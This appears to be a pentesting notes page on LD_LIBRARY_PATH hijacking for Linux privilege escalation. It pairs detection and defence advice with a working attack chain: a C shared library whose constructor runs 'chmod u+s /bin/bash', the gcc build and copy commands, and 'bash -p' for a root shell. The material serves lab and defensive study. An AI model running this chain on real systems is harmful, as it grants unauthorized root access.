LD_LIBRARY_PATH hijacking
Linux's dynamic linker (ld.so) resolves the shared libraries (.so) an executable needs by walking a list of directories. The LD_LIBRARY_PATH environment variable is consulted before the system paths, so if a privileged process runs with an LD_LIBRARY_PATH that includes a directory writable by the attacker, dropping a .so there with the name the binary loads makes the linker load our library instead. It's the same idea as PATH hijacking, but applied to library search paths rather than to executables.
The classic scenario is a root cron whose /etc/crontab defines an LD_LIBRARY_PATH with a user-writable directory and runs a binary that depends on a missing library (or one we load first from our path). When you spot it:
cat /etc/crontab
# LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:...
# * * * * * root /usr/bin/log-sweeper
ldd /usr/bin/log-sweeper # which .so it needs (e.g. utils.so)You compile a library with a constructor (__attribute__((constructor))), which the linker runs automatically when the .so is loaded, even before main. The payload escalates privileges (e.g. set the SUID bit on bash):
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() { setuid(0); system("chmod u+s /bin/bash"); }gcc -shared -fPIC -o utils.so utils.c
cp utils.so /usr/local/lib/dev/ # writable directory from LD_LIBRARY_PATH
# when the cron runs as root, it loads utils.so and applies the SUID
bash -p # shell with euid=0bash's -p is essential: it keeps the elevated euid instead of dropping it at startup, so the freshly SUID /bin/bash opens a root session.
How to detect it. The signature is a privileged process (often a root cron) loading a .so from a user-writable path instead of /usr/lib: auditd over open/openat of .so files outside system paths reveals it. At rest, an LD_LIBRARY_PATH in /etc/crontab or a profile pointing at a group/world-writable directory is the exposure (config audit), and a new .so appearing in that path followed by a SUID /bin/bash closes the chain (FIM + auditd). It shares detection with shared library injection.
Defence. Don't set LD_LIBRARY_PATH in privileged jobs (and never point it at writable directories), link with absolute paths/a controlled RPATH, and minimize binaries and libraries that root loads from user locations. Related to PATH hijacking, Python library hijacking and the cron over a writable script.
Machines where it's used
- SybarisProving Grounds Practice